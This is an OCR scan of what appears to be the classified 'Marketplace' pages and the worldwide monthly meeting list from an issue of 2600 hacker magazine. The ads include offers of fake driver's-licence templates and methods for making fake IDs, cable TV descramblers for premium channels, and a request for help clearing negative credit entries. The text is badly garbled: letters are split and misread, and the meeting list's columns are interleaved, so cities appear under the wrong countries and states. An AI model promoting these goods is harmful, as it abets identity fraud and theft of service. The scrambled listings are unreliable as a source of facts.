for telep h o n e  rem ote control devices. Price i n cludes m a i li n g .  $ 9 9 . 9 5 .  Not o n ly 

a collector's item but a VERY U S E F U L  device to carry at a l l  ti mes.  Cash or m o n ey 

order o n ly. Mai l  to: WHISTLE,  P. O .  Box 1 1 5 6 2 -ST, CIt, Missouri 63105 .  

DECEPTION. The Pi n e  Lake  Media Group i s  p leased to p resent to you o u r  debut  

release, Deception, by award-wi n n i n g  newsmax.com columnist  Cha rles Smith .  

M a n y  citizens t h i n k  they know what their  government  i s  doing i n  their names .  

After reading  Deception, you' l l  see just  how bad it really i s  a n d  how littLe you 

really k n ow. Deception i s  t h e  true story of the g reatest Chinese Army espionage 

operati o n a l  exploit against  the U nited States.  Based o n  a decade of research 

and m o re than 50,000 pages of offi cia l  a n d  classified docum ents obtained us­

i n g  the Freed o m  Of Information Act, n o  other book p u b lished to date even com­

p a res to Deception. WhiLe many books have "gone after" presi dents befo re, 

Deception i s  u n i q u e  because we've i n cluded a l l  of the evi dence backing u p  o u r  

c h a rges.  W e  have t h e  s igned letter from M otoro la CEO G a r y  Tooker t h a n k i n g  Ron 

Brown, fo rmer  U nited States C o m m e rce Department Secretary, for t h e  presi­

dential  waiver a llowi n g  the export of encrypted police radios to C h i n a .  And 

nea rly 100 other u n m odified, u n e m belli shed documents that name n a m e s .  Or­

der your copy today. For additi o n a l  i n fo r m atio n  a n d  to order, p lease visit o u r  

website ,..)t www. pinelakemedi a . co m  o r  c a l l  BOO-799-4570 o r  ( 6 1 4 )  2 7 5-0B30. 

Please note that we cannot accept o rders by teLe p h o n e  at this ti m e .  Credit card 

orders may be faxed to BOO-799-4571 o r  (614) 2 7 5-0B 2 9 .  We accept a l l  maj o r  

credit c a r d s ,  c h e c k s ,  m o n ey orders, Liberty Dollars,  electro nic  c h e c k s ,  a n d  g o o d  

old fa shioned cash .  We sh ip  worldwide by D H L  o r  U S P S .  

HOW TO BE ANONYMOUS ON THE INTERNET. E a s y  to folLow lessons o n  achievi n g  

Internet a n o nymity, privacy, a n d  secu rity. The b o o k ' s  20 cha pters c o v e r  1 )  s im­

p le proxy use for WWW; 2) how to send a n d  receive e - m a i l  anonymously; 3 )  use 

SOCKS proxies fo r IRe,  ICQ, N NTP, SMTP, HTTP; 4) web based proxies - JAP, M u l­

tiproxy, Crowds; 5 )  do-it-yo urself proxies - A n a logX, Wingates: 6) read a n d  post 

i n  newsgro u p s  ( U senet) i n  comp lete p rivacy; 7 )  for pay proxies. Learn how to 

hunt for, fi n d ,  and utilize all types of proxies, clean u p  your browsers, clean up 

your whole Windows O S .  This professiona lly written but no n-technical  jargon 

fil led book i s  gea red towards the beg i n n e r  to advanced readers a n d  the average 

Internet user. The book lessons  are o n  a C D  i n  easy to read HTM L i nterface for­

mat with n u merous i llustrati o n s  throughout .  Send $ 2 0  (I ' l l  pay S/ H )  to Pla m e n  

Petkov, 1 3 9 0  E Vegas Valley D r .  # 4 0 ,  Las Vegas, N V  B 9 1 0 9 .  M o n ey orders,  per­

sonal  checks,  cash accepted. 

P a g e  5 E. ---------------------- 2 E. 0 0  11 a 9 a z i n e 



THE IBM-PC UN DERGROUND ON DVD. To pping off at a full 4 . 2  giga bytes. ACiD 

presents the first DVD-ROM compilati o n  for the I B M - PC u n derground scene en­

titled " D a r k  Domain. "  Inside i s  a n  expa n sive trove of f i les  dati n g  a s  far back as  

1987 u p  to the close of 2003; from artpacks to loaders  a n d  cracktros to maga­

zines,  plus a l l  the necessary programs fo r browsi n g  them.  If you ever  wa nted to  

see a lost  J E D  A N Slmation d isplay at 2400 baud,  here 's  your  c h a n ce. For order 

details  a n d  m o re informati o n  please consult http://www.darkd o m a i n . o rgj. 

AFFORDABLE AND RELIABLE UNUX HOSTING. Ka leton Internet p rovides afford­

a b le web hosti n g  based o n  Li n u x  servers. OUf hosti n g  plans start fro m o n ly 

$ 4 . 9 ')  per month .  This i n cludes support  for Pyt h o n ,  Perl, P H P, MySQl, a n d  m o re. 

Privacy i s  guara nteed a n d  you can pay by E-Gold, paypal. o r  credit card.  

http://www . k a Leto n . c o m  

DRIVER'S LICENSE BAR-BOOK a n d  " fa ke" 10 tem p lates. I n c l u d e s  p h otos, tem­

pLates, a n d  i nformation o n  a l l  secu rity features of every s ingle A m e rican and 

Canadian  d rivers' l icenses. Including i nformati o n  o n  making "fake" ID 's  o n  PVC 

cards, la minati n g ,  making h o lograms,  m a g n etic stri pes, software, a n d  m o re to 

make your very own Li cense!  Send $25 cash in U S  fu n d s  o r  an i nternati o n a l  

m o n ey o r d e r  i n  U S  f u n d s  made out to R . J .  O r r  a n d  m a i led t o  D river's B a r  B o o k ,  

PO Box 2306,  Station M a i n ,  W i n n i p e g ,  M a nitoba,  R3C 4 A 6 ,  Canada.  O r d e r  n o w  

a n d  g e t  F R E E  la m i nates with every o r d e r !  We s h i p  worldwi d e  free! 

ONlINE RETAILER OF COMPUTER PRODUas i s  also a 2600 subscriber!  60.000 dif­

ferent computer products from compon ents to c o m p lete syste m s ,  laptops, 

PDAs, cables, R A M ,  and media aLL  available o n li n e  at http://www.digitalevery­

thing .ca .  Worldwide sh ipping  i s  n o  problem. J u st menti o n  you are a subscriber 

a n d  I ' l l  give you better p rices too. Contact Dave at sales@digita leverything.ca  

fo r m o re i nfo. 

CABLE 1V DESCRAMBLERS. New. (2) $115 + $5.00 s h i p p i n g ,  m o n ey o rder/ca s h  

o n ly. Works o n  a n a log o r  a n a log/di gita l cabLe systems.  Prem i u m  c h a n n eLs a n d  

possi b ly P P V  depending o n  syste m .  Complete with 110vac power s u p p ly. Pur­

chaser  assumes sole responsibi lity for notifyi n g  cable operator of use of de­

scra m b ler. Requires a cable TV converter (i.e . •  Radio Shack) to be used with the 

unit.  Cable connects to the converter, then the descra m b ler, then the output 

goes to TV set tuned to channel  3 .  C D  9 6 2 1  O Live. Box 28992-TS. Olivettet S u r. 

Missouri 6 3 1 3 2 .  Email :  cabledescra m b Lerg uy@ya h o o . co m .  

Help Wanted 
HIRING PROFESSIONAL INTERNET CONSULTANTS with job refe rences o n ly for the 

followi n g :  website secu rity, perfo r m a n ce tuning ,  and ma rketi n g  for o n li n e  mag­

azine.  P lease  send yo u r  bio a n d  res u m e  to: j b h a rtsworth@ya hoo.com -you can 

work from h o m e .  but s h o u ld l ive i n  ( o r  around)  NYC.  a s  you will need to attend 

a meeti n g  o r  two . 

CREDIT REPORT H ELP NEEDED. N eed some assistance removi n g  negative items 

off credit reports. Will  pay. All  agencies.  Please res p o n d  to 

skysi g ht@spacemail .co m .  

Wanted 
IF YOU DON'T WANT SOMETHING TO BE TRUE, does that m a ke it propaganda? 

When we're  c h i ld ren a n d  we don 't  want to liste n .  we put o u r  h a n d s  over  our  

ears.  As we g row u p .  we create new ways to ignore  th ings  we d o n 't want to h e a r. 

We make excuses. We look the other way. We label things  "propaganda"  o r  

"scare tactics . "  B u t  i t  d oesn't work.  I t  doesn't  m a k e  t h e  truth go away. Govern­

ment a n d  corpo rate MIND CONTROL PROGRAMS are used to i ntimidate, torture, 

a n d  m u rder  people globa lly. It may not be what you want to hear. But that 

doesn't make it any Less true. PLease visit a n d  support  John G regory La m b ros by 

distributi n g  this a d  to free classified advertis ing  sites a n d  newsgroups gLoba lly. 

www.brazi lboycott. o rg THAN K YO U !  

HAVE KNOWLEDGE OF SECURITY BREACHES at y o u r  b a n k ?  H e a rd rumors  of 

cracked customer databases? Know there a re u n a d d ressed vulnerabilities in a 

retailer 'S credit card netwo rk.  but its management doesn't know or care? We 

want your  ti ps .  We are a busin ess newsletter focusi n g  o n  secu rity issues in the 

f inanc ia l  i n d ustry: IT secu rity, privacy. regu latory com p liance.  identity-theft 

and fra u d ,  m o n ey-La u n d e r i n g .  Wh erever c ri m i n a l  activity m eets b a n k s ,  we are 

there. You can remain a n onymous.  ( N ote: we will  not print rumors  ci rculated by 

one person o r  group with out obtai n i n g  s u p p o rti n g  evidence o r  corroborati o n  

f r o m  o t h e r  pa rties . )  Contact b a n ksecuritynews@ya hoo.com o r  c a l l  2 1 2 - 5 64-

8972. ext. 102.  

Senices 
SUSPEffiD OR ACCUSED OF A CYBERCRIME IN Atf( CAlIFORNIA OR FEDERAL 

COURT? C o n s u Lt with a semantic  warrior  com mitted to the li berati o n  of i nform a -

ti o n  speciaLi zi n g  in hacker. cracker. a n d  p h reak defense.  Contact O m a r  

F i g u e r o a ,  Esq .  at ( 4 1 5 )  9 8 6 - 5 5 9 1  at o m a r@aya.yale.edu o r  at 506 B roa dway, 

San Francisco. CA 941 3 3 .  Compli m entary case consuLtati o n  for 2600 readers. All 

consultati o n s  are strictly confidenti a l  and protected by the atto rney-client 

p riviLege. 

INTELLIGENT HACKERS UNIX SHELL Reverse . N et i s  owned and operated by In­

telligent H a ckers. We beLieve every user has  the ri ght to o n Li n e  secu rity a n d  pri­

vacy. I n  today's hostile anti-hacker atm osphere ,  i nteLligent hackers req u i re the 

need fo r a secure p lace to work. compi Le ,  a n d  explore with out Big Brother  look­

i n g  over their  s h o u lder. H osted at Chicago Equinox with J u ni p e r  fiLtered DoS 

protecti o n .  M u ltiple Free B S D  servers @ P4 2 . 4  g h z .  Affo rdable pricing from 

$5/month,  with a m o n ey back g u a rantee. Lifeti m e  26% discount for 2600 read­

ers.  Coupon Code:  Save2600. http://www. reverse.n et/ 

WHY PAY HUNDREDS OF DOLLARS FOR S5l (ERTS? CAcert. org,  a n o n p rofit, com­

munity-based Certificate Autho rity offers the s a m e  128-bit digitaL certificate­

based secu rity for exactly $0.00. Compare that with the p ri ces of i n d ustry 

lea ders li ke Thawte and Verisig n !  Support the n ext open s o u rce revo luti o n  a n d  

come download X.509 certificates ( b o t h  person a l  certs f o r  e - m a i l  en cryptio n  

A N D  server-side certs fo r SSL) f o r  free at www. cacert. org.  N o  tricks, n o  hidden 

agenda . . .  we 're  here to serve the Internet c o m m u nity. (Of course,  feel  free to 

cl ick  o n  o u r  "donate" li n k  i f  you want to h e l p ! )  Just a s  you'd never  consider pay­

ing $35 for d o m a i n  registrati o n  agai n ,  soon you'll la u g h  at the p rices closed­

s o u rce, c o m merci a l  p roviders are charging today as  well. www. cacert.org 

Announcements 
OFF THE HOOK i s  the weekly one h o u r  hacker radio s h ow p resented Wednesday 

nig hts at 7:00 p m  ET o n  WBAI 99.5 FM i n  New York City. You c a n  also tune in 

over the n et at www. 2600.com/offthehook o r o n  s h o rtwave i n  North and South 

America at  7415 khz.  Archives of aLL  shows dati n g  back to 1988 can be fo u n d  at 

the 2600 site, now i n  mp3 format! Shows fro m 1988-2004 a re now avai la b le in 

DVO-R fo rmat for $30! Send check o r  m o n ey order to 2600, PO Box 7 5 2 ,  MiddLe 

Isla n d ,  NY 1 1 9 5 3  USA or order through o u r  o n li n e  store at 

http://store.2600.com.  Yo u r  feedback on the program is a lways welco m e  at 

oth @2600.com.  

CHRISTIAN HACKERS' ASSOCIAnON: Check out the web page 

http://www. c h risti a n h a c ker.org for details .  We exist to prom ote a c o m m u nity 

for C h risti a n  hackers to discuss and i m pact the realm where faith and tech n ol­

ogy i n tersect for the p u rpose of seei n g  lives c h a n ged by God's  grace through 

faith i n  Jesus .  

DO YOU WANT ANOTHER PRINTED MAGAZINE that c o m p lements 2600 with even 

m o re hacking i n formation? Binary Revolution i s  a magazine from the DigitaL 

Dawg Pound about hacking and tec h n o logy. Specifica lly. we loo k at u n d er­

ground topics of tec h n o logy i n cludi n g :  Hacking,  Phrea k i n g ,  Security, U r b a n  Ex­

p lorati o n ,  Digital Rights. and m o re. For m o re i nfo rmati o n .  o r  to order your 

printed copy o n Li n e ,  visit u s  at http://www.bin rev. com/ where you will also find 

i n structi o n s  o n  mail orders. WeLcome to the revoluti o n !  

VMYTHS.COM AUDIO RANTS a r e  availabLe free of charge t o  com puter t a L k  shows. 

These short a n d  often h i la ri o u s  M P 3 s  dispel the hysteria that s u r ro u n d s  com­

puter  security. O n e  fo rmer  White House computer  security advisor  hates  these 

rants ( a n d  we don 't  make this  claim li g htly). Check out  Vmyt h s . com/news.cfm 

for details. 

Personals 
SYSTEM x HERE! I ' m  sti lt i n ca rcerated i n  Indiana Dept.  of Correcti o n s  fo r at least 

8 months  and don 't  get many c h a n ces to sti m u late my m i n d .  I do s o m eti mes get 

a h o Ld of books but that requi res knowi n g  the title, I S B N # .  and author. Any help 

would be g reat! I am sti ll loo k i n g  for ANY hacker/com puter related i n fo r m ation 

such  as  tuto riaLs. mags, zines,  newsletters, o r  fri e n d s  to discuss a nyth i n g !  I 'm 

a lso looki n g  fo r i nfo o n  any secu rity h o les i n  the Novell  N etwo rk cl ient.  Atl let­

teTs will be replied to no matter what! I'm a lso looki n g  for autogra p h s  in hacker 

o r  reaL name for a co llection I have started i f  anyone f inds the ti m e .  D O M  I need 

you to write again  because the retu r n  a d d ress was rem oved from your  envelo pe. 

All i nfo a n d  contributi o n s  greatly a p p reciated. Joshua Steelsmith # 1 1 3 6 6 7, 

M C F-IDOC. P. O .  Box 900, B u n ke r  Hi ll. I N  46914.  

IN JAIL. NOT YALE. Stuc k  i n  prison bored to death.  Three down,  two to go.  

Known a s  Alpha bits, b usted for hacking a few b a n k s .  I desperately need some 

sti m u lati o n .  I weLco m e  letters from al l  people  i n  the real worLd ! H e lp m e  out ,  

put pen to paper.  J e remy Cush ing  #J51130,  Centi n e la State Pri s o n ,  P. O .  Box 

9 1 1 ,  Imper ia l ,  CA 92251-091l .  

STORMBRINGER'S 411:  A m  not getti n g  a fair shake i n  court with out  a n  attorney. 

so it's 1 5  m o re years to p u ll. Need a coder for a web GUI for a s h o rtwave/scan­

ner  (Icom PCR-lOOO) that I d o nated to a sho rtwave stati o n  and some other i n ­

teresti n g  stuff. WouLd l o v e  to taLk s h o p  w i t h  p e o p L e  o n  radio,  data o v e r  radio.  

a n d  h a m  radio.  Wil l  respond to a l l  Letters technicaL  o r  not. W. K .  Smith,  44684-

083,  Fa Cumberland. PO Box 1000. C u m berla n d .  M D  2 1 50 1 -1000. Web: 

www. sto r m b ri n ger.tv. li n k  to it!  

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600! D o n 't even thi n k  about tryi n g  to 

take out a n  a d  u n less you subscribe!  All ads are free and there i s  n o  a m o u nt of 

m o n ey we wilL a ccept fo r a n o n -subscriber a d .  We hope that's clear. Of course, 

we reserve the right to pass judgment  o n  your a d  and not print it i f  it's a maz­

i n g ly stupid o r  h a s  nothing at al l  to do with the hacker world. We make n o  g u a r­

a ntee as to the h o n esty. righteousness, sanity, etc. of the peopLe adverti s i n g  

h e r e .  Contact them at your  p e r i l .  ALL s u b m i s s i o n s  are f o r  O N E  I S S U E  O N LY! If you 

want to run  your  a d  m o re than  o n ce you m u st resubmit it each ti me.  Don 't  ex­

pect u s  to r u n  m o re than  o n e  a d  for you i n  a s i n g le issue either.  Include your 

a d d ress la bel  o r  a p h otocopy so we know you're a su bscriber. Send your a d  to 

2600 M a r ketplace, PO Box 9 9 ,  M i d d le Isla n d ,  NY 1 1 9 5 3 .  

Deadli n e  for S p r i n g  i s s u e :  3/1/0 5 .  
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ARG.ENTINA Grenoble: Eve,  campus of St .  Ma rtin 

Buenos Aires: In the bar  at San Jose 05. d 'H eres. 
AUSTRALIA Paris: Place d e  la Republique, near the 

Adelaide: At the payphones near th e  Acad- (empty) fountairl. 6 p m .  
e m y  Cinema on Pulteney St. Rennes: In front of the store "Btue Box" 
Brisbane: H u ngry Jacks on  Queen St. dose to the place of the Repub lic. 7 p m .  
Mall ( R H S ,  o pposite Info Booth ) .  7 pm .  G REECE 
Canberra: KC's Virtual Reality Cafe, 1 1  East 
RW, Civic. 7 p m .  

Melbourne: raff",i ne  at R",vault b a r ,  16 

Athens: Out<;ide the bookstore Papaswtiriou 

on the  corner ot Patlsion a n d  Stournari 

7 p m .  

Florida Greensboro: Bear Rock Cafe, Friendly Shop-

ft. Lauderdale: Broward Mall i n  the  food ping Center. 6 p m .  
court. 6 pm .  Raleigh: Tek Cafe A n d  Internet Gaming Cen 
Gainesville: Tn the back of the University of ter, Royal Mall, 3801 HiLlsborough St. 6 p m .  

��o��:�� R;�:�i��iO;q:Oa�: (��;t '
F:;; '

Court 
Ohio 

between Hovan Gourmet and Manchu Wok. Akron: Arabica on W. Market Street, inter-

6 p m .  
Tampa: University M a l l  i n  the b a c k  of the  

food court on  the  2nd  floor. 6 p m .  

section of Hawkins, W. Market, a n d  Ex-

change.  

Swan, ton Walk. 6 p m .  IRELAND Georgia 
Cleveland: University Circle Arabica, 1 1 3 0 0  

Juniper Rd.  Upstairs, turn r i g h t ,  second 

room on Left. 
Perth: The Merchant Tea and Coffee House, 

183 M u r ray St. 6 pm. 
Sydney: The CrystaL PdLace, front bdr/bistro, 
oPP!)"il\' the bu� <;t,ltiorl ,i rea O f)  Gcorqc 
Street at CentraL Stati o n .  6 pm 

AUSTRIA 
Graz: Cafe Haltestelle on  Jakominiplatl. 

B RAZIL 
Belo Horizonte: Pelego\ Bar  at Assufeng,  

near  the payphone.  6 p m .  
CANADA 
ALberta 

Calgary: Eau Claire Ma rket food court by the 
bLand yelLow wall (formerly the "milk wall") .  

British Columbia 
Nanaimo: Tim Horton's at Comox R. Wallace. 
7 pm. 

Victoria: Eaton CentE'r food court by A&W 

Ma nitoba 
Winnipeg: Garden City Shopping Center, 
Center Food Court adjacent to the  A & W 

restdurant. 
New Brunswick 

Moncton: Ground ZE'ro Networks Internet 
rafe. 720 Main St. 7 pill. 

Ontario 
Barrie: WiLlialll'� Coffee Pub, 505 Bryne 
Drive. 7 pili. 

Guelph: WiLliam's  Coffee Pub, 492 Edill-
bourgh Road South. 7 p m .  

Hamilton: McMaster University Student Cen-
ter, Room 318.  7 :30 pm. 

Ottawa: World i:.xchange PlMa , 111 Albert 
SL, second floor. 6:30 pill. 

Toronto: Food Bar, 199 CoLLege Street. 
Quebec 

Montreal: ReLl A m phitheatre, 1000 

Gauchetiere Street. 

CHINA 
Hong Kong: Pacif ic  Corree i n  f estival Walk, 
Kowloon fo n g .  

CZECH R E P U B LIC 
Prague: LecjPnda pub. 6 iJl11 . 

D E N M A R K  
Aarhus: In the far c o r n e r  at the DSB caFe in  

the raiLway stati o n .  

Copenhagen: V e d  C a f e  Bla�en. 

Sonderborg: edfe Druen.  7 :30 pm. 
EGYPT 

Port Said: At the toot of the ObeLisk ( E l  

MissaLla h ) .  
ENGLAND 

Brighton: At the  p h o n e  boxl'�  by the Sl'dlife 

Centre (acros, the road from the Palace 
Pier) . 7 pm. Payp hone:  ( 0 1 ? ? 3 )  606674. 
Exeter: At the payphones, Bedford Square. 

Dublin: At the  phone booth� on Wick low Atlanta: Lenox Mall  food court. 7 pm. 

Street beside Tower Records. 7 pm. Idaho 

ITALY Boise: BStJ Student Union Bui ldi ng ,  upstairs 

Milan: Piazza Loreto i n  front of McDonalds. 

JAPAN 
Tokyo: Linux Cafe i n  Akihabara di5trict. 

6 p m .  

NEW ZEALA N D  
Auckland: l.ondon B a r ,  upstairs,  WelLesley 

St., Auckland Central. 5:30 p m .  

Christchurch: J a v a  Cafe, (orner or H i g h  St. 

and Manchester st.. 6 p m .  

Wellington: L o a d  C a f e  i n  C.uba M a l l .  6 p m .  

N O RWAY 
OsLo: Oslo SentraL Train Stati o n .  7 p m .  

Tromsoe: The u p p e r  floor at B l a a  R o c k  Cafe. 

6 pm. 

Trondheim: Ri(k's Cafe i n  N o rdregate. 6 p m .  

SCOTLA N D  

tram the m a i n  entrance. Payphones:  ( 

208) 342-9700, 9 7 0 1 .  

Pocatello: College Ma rket, 6 0 4  S o u t h  8th 

Street. 

Illi n ois 
Chicago: Computer lab at The Chicago 
Neighborhood Boy� a n d  Girls Club, 2501 W 

Irvi ng Park Rd. 7 p m .  

Indiana 
EvansviLLe: Barnes a n d  Noble cafe at 624 S 

Green River Rd.  

Ft. Wayne: Glenbrook Mall food court in 

front of Sba rro's. 6 p m .  
South B e n d  (Mishawaka): B a r n e s  a n d  Noble 

cafe, 4601 Grape Rd.  

Iowa 

Glasgow: Central Statioll, payphones next Ames: Santa Fe Espresso, 116 Welch Ave. 

Kansas to Platform 1 .  7 pm. 

SLOVAKIA 
Bratislava: at Polus City Center in the foor! 

court ( o p posite side of the  escalato rs).  

8 pm. 

Presov City: Kelt Pub.  6 pm. 

SOUTH AFRICA 
Johannesburg (Sandton City): Sandlon food 
court. 6:30 p m .  

S W E D E N  
Gothenburg: Outside V a n i � .  6 p m .  

Stockholm: Outside Lava . 

SWITZERLAND 
Lausanne: 1n trom of the  MdcDo beside the 
trdirl �tation .  

U NITED STATES 
Alabama 

Auburn: The student lounge upstairs i n  the 

fay Union BuiLdirllj. 7 pm. 

Huntsville: Madison Square MaLl l n  the lood 

court 1lC'<Jr McDonald's .  

TuscaLoosa: McFarland Mal l  food (ourt IW,lr 

the front entrance.  

Arizona 
Phoenix: Borders ,  2nd  Floor  Cafe Area,  2402 

f. Camelback Road .  

Tucson: Border� i n  t h e  Park Mall.  7 p m .  

California 
Los Angeles: Union Stati o n ,  corner of MillY 

& Alameda. Inside main entrdnce by bank oj 

phones.  Payphones:  ( 2 1 3 )  972-9519,  9520;  

625-992 { ,  9 9 2 4 ;  61'1-9704,  9746 

Monterey: Morgan's Coffee & Tea, 498 Wash­

i n gt.on St. 

Orange County (Lake Forest): Diedrich Cof-

Kansas City (Overland Park): Oak Park Mall  
food (Ourt.  

Wichita: Riverside Perk, 1 144 Bitting Ave. 

Louisiana 
Baton Rouge: Tn th" LSU Union Bui ldi n g ,  

between the T i g e r  P a u s e  & McDonaLd 's ,  next 

to the  payp hones.  

New Orleans: La Fee Verte,  620 Conti  Street. 

6 p m .  

M a i n e  
Portland: Maine  Mall  by the  b e n c h  at t h e  

f o o d  c o u r t  door. 

Maryla nd 
Baltimore: Barnes & Noble cafe at the Inner  
H a rbor. 

Massachusetts 
Boston: Prudential Center Plaza, terrace 
rood court at the tables near the windows. 

Marlborough: Solomon Pdrk Mall  food 

court 
Northampton: Javand Cafe from 

Polaski Park. 

Michigan 
Ann Arbor: The Ga lleria on  South Univer�ity. 

Mir l flesota 

BLoomington: Mall  of A merica, north side 
food court. acro�� frum Burger King & t.he 

bank or payphones that don't take incoming 

calls. 

Missouri 
Kansas City (Independence): Barnes & 

Noble,  19120 Ea5t 39th St. 

St. Louis: Ga Lleri d ,  Hig hway 40 & Brent­
wood, elevated secti o n ,  food court a rea,  by 

the thedLcrs. 7 pill. 

Hampshire: Outside the Gui ldhalL, 
fee, 2 2 6 2 1  Lake Forest Drive. 8 p m .  Springfield: Borders Book" a n d  M usic cof­

fees hop, 3300 South GLenstoTle Ave, o n e  

b l o c k  s o u t h  of Battlefield M a l l .  5 :30  p m .  
Portsmouth.  
Hull: The Old Gray Mart' Pub ,  opposite Hul l  

University. 7 pm 
London: Trocadero Shopping Center  (near  

Picadilly C i rcus) ,  lowest level. 6 : 3 0  p in .  

Manchester: The Green Room on Whitworth 
Street. 7 p m .  

Sacramento (Citrus Heights): B a r n e s  & No-

bLe, 6111 S u n rise Blvd. 7 pm. 

San Diego: Regents Pizza,  4150 Regents 
Park Row # 17 0 .  

San Francisco: 4 Embarcadero PLaza ( in­

sit.le).  Pdyp hone�:  (415)  398·9803,  9804, 

9805 . 9806. 

Nebraska 
Omaha: Crossroads MaLL  Food (ourt. 7 p m .  

Nevada 
Las Vegas: PaLllls Casino food court. 8 p m .  

New Mexico 
Norwich: Main foyer of the  Norwich "Forum" San Jose (Campbell): Orchard Valley Coffee Albuquerque: Winrock M a l! food court, near 

Libra ry. 5 : 3 0  pm. Shop/Net Cafe on  the  corner of S CentraL payphones on  the Lower Level  between the 

Dayton: At the  Marions  behind the  Dayton 

M a ll. 

Oklahoma 
Oklahoma City: Cafe Bella, southeast corner 

of SW 89th Street a n d  Pen n .  

Tulsa: Woodla n d  H i lts M a l l  food court. 

Oregon 
Portland: Backspace late, 115 NW 5th Ave. 

6 pm. 

Penn sylvania 
Allentown: Panera Bread, 3100 West Tilgh­

m a n  Street. 6 pm. 

Philadelphia: 30th Street Stati o n ,  under 

Stairwell 7 s ign.  

Pittsburgh: WilLiam Pitt Union building o n  

the  University of Pittsburgh c a m p u s  by t h e  

BigeLow Boulevard entrance. 

South Carolina 
CharLeston: Northwoods Mall  i n  the  halL  be­

tween Sears a n d  C h i k-Fil-A. 

South Dakota 
Sioux Falls: Empire Mall,  by Burger King.  

Tennessee 
Knoxville: Border5 Books Cafe across from 

Westown Mall. 

Memphis (Cordova): San Francis(o Bread 

c.om pany, 990 N .  Germa ntown Parkway. 

6 p m .  

Nashville: J-J's Market, 1 9 1 2  Broadway. 

Texas 
Austin: Dobie MaLl  food court. 

DaLlas: Mdma's Pizza , CampbelL & Presto n .  

7 p m .  

Houston: Ninfa's Express i n  front of Nord­

strom's  i n  the  Galleria Mall.  

San Antonio: North Star Mall  food court. 

Utah 
Salt Lake City: ZCMI Mall  i n  The  Park Food 

Court. 

Vermont 
Burlington: Borders Books at C h u rc h  St. Mai  
C h erry S t .  0 11  the second floor o f  the cafe. 

Virgi nia 
ArLington: (see District of Columbia) 

Virginia Beach: Lyn n haven MaLL  

Lyn n haven Parkway. 6 pm. 

Washington 
SeattLe: Washington State COllvention Cen­

ter.  6 pm. 

Wisconsin 
Madison: Unio!) South (227 N .  Randall  Ave . )  

on  the  Lower level i ll the ( o p p e r  Hearth 

Lounge. 

MiLwaukee: The Node,  1 504 E.  North Ave. 

All m eeti n g s  take place on the first 

Friday of the month. U n less other-

Reading: Afro t\ar. Mercha nts Place, off hia l Ave. a n d  E Campbell Ave. fountain & a rcade. Payp hones:  ( ;05)  883- wise noted , they start at 5 p m  Local 
St.  6 pill .  Santa Barbara: Cafe Siena on  Stdte Street. 

FINLAND 
Helsinki: Fenniakortteli food Lourt 

(Vuorikatu 14). 

FRANCE 
Avignon: Bottom of Rue d e  la RepubLique in  
front of the  fountain  with  the flower�. 7 p m .  

CoLorado 
BouLder: Wing Zone tood court, 13th and 

College. 6 pm. 

District of Columbia 
Arlington: Pentagon City M a l l  i n  lhl' food 

lOurt. 6 pm. 

998�,  9976,  9841. ti me.  
New York 

New York: Citigroup Center, in  the lobby, 

nf'ill the payphone�,  153 E 53rd St.,  be-

tween Lexington & 3rd. 

North Carolina  
Charlotte: S o u t h  Park MalL  f o o d  c o u r l .  7 p m .  

To start  a meeti n g  i n  your city, leave 

a message & p h o n e  n u mber  at 

(631) 751-2600 o r  send email to 

meeti n gs@2600.com.  
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